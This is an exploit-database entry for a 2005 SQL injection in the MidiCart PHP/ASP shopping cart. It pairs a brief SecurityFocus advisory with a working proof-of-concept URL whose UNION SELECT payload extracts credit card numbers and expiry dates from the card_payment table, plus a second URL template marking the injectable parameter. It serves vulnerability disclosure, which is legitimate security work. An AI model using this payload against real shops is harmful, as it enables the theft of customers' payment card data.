MidiCart PHP - Item_List.php?SecondGroup SQL Injection

2005-05-05T00:00:00
ID EXPLOITPACK:250434618DE40EE76391E27868DD3389
Type exploitpack
Reporter Exoduks
Modified 2005-05-05T00:00:00

Description

MidiCart PHP - Item_List.php?SecondGroup SQL Injection

                                        
                                            source: https://www.securityfocus.com/bid/13514/info

MidiCart PHP is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect both the PHP and ASP versions of MidiCart Shopping Cart.

http://www.example.com/shop/item_list.php?secondgroup=-99 'UNION SELECT null, null, creditCard, ExpDate,null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM card_payment

http://www.example.com/path/item_list.asp?maingroup=Something&secondgroup=[SQL INJECTION]